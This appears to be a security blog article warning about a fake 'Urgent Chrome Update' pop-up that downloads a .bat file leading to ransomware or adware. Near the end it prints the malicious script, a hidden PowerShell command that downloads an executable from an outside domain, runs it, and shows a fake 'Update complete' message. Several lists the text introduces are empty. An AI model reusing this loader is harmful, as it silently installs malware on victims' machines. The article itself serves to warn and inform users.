Urgent Chrome Update “virus” is a fake message that tries to scare you or rather trick you into launching whatever file is hosted on it. It usually comes in the form of a pop-up, but it may also open a whole page or a new tab by switching to that page. Amazon, Facebook, Yahoo and e-mail messages are reported to redirect you or even spawn this fake message. What happens is that it automatically downloads a file called chrome-update.bat and if you run it, your whole system could get encrypted. Other causes, such as installing less dangerous malware into your system, like an adware or a browser hijacker are also possible outcomes.

Urgent Chrome Update “Virus” – Distribution
The spawning of the Urgent Chrome Update message could be distributed with various methods, the most reported of which is via e-mails and redirects from social networks. Reported networks that have been compromised or used for generating redirects with the Urgent Chrome Update messages are the following:
- Yahoo and its services
- Amazon and related sites
Other sites could have been compromised as well (or more likely their advertisements). These websites and social networks are not spreading the malicious file or redirect themselves, it’s just that the malware author chose them or found vulnerabilities to exploit to spread his program. Sometimes there is an .hta file, instead of the .bat one that contains a script with a download which encrypts your system or an adware version where you keep seeing the Urgent Chrome Update message along with lots of advertisements. Sometimes these files are programmed to show an installer setup before making changes to your computer to seem legitimate. Some of the setups could be inside a more aggressive adware installer coming with a bundle package.
Urgent Chrome Update is not excluded to be distributed with other methods, like add-ons or extensions added to your browser. When installed, they could start showing you advertisements, such as banners, pop-ups, pop-unders, whole page adverts and redirect you to various places online. Mainly the Google Chrome browser is affected, but the Urgent Chrome Update might show in other browsers.

As you can see, the message is convincing as it uses the same logo as the Google Chrome browser, but also the same page design and button designs. What should throw you off is the domain that is shown in the URL address bar – it is unfamiliar and not known to be official, it is long and makes no sense. Examples of actual domain addresses which have spammed and spread Urgent Chrome Update messages are the following:
All of the above URLs are just for referential purposes and not complete – do not visit or download anything from them. From all of the above URLs, the Urgent Chrome Update message will be displayed and once loaded it will automatically download a file. The file has the following variations:
Some of these files could launch a setup, trying to copy the one of Google Chrome, but could also use a similar logo, which is not exactly the same. You can see an example of such a setup from the below picture:
Any of these files are stored inside the following location:
They also make changes to the following registry entries:
→HKCU\Software\Microsoft\Windows\Current Version\Internet Settings\Connections
This could mean that the innate Windows PowerShell Remote Access Server is accessed and could be used to download a setup for malware or a decryption program and execute it. Inside the .bat file you can see the following code:
echo a=new ActiveXObject(‘Wscript.Shell’);a.run(“PowerShell -WindowStyle Hidden $d=$env:temp+’\\16330788701ac441736751e3ee3c6996.exe’;(New-Object System.Net.WebClient).DownloadFile(‘https://eeteeinsightsoft.org/17/524.dat’,$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName(‘System.Windows.Forms’);[system.windows.forms.messagebox]::show(‘Update complete.’,’Information’,[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)”,0,false); >”%temp%\install_flash.js”
start /min “” wscript.exe “%temp%\install_flash.js”

Don’t be clicking on suspicious advertisements or links that are displayed by the Urgent Chrome Update.
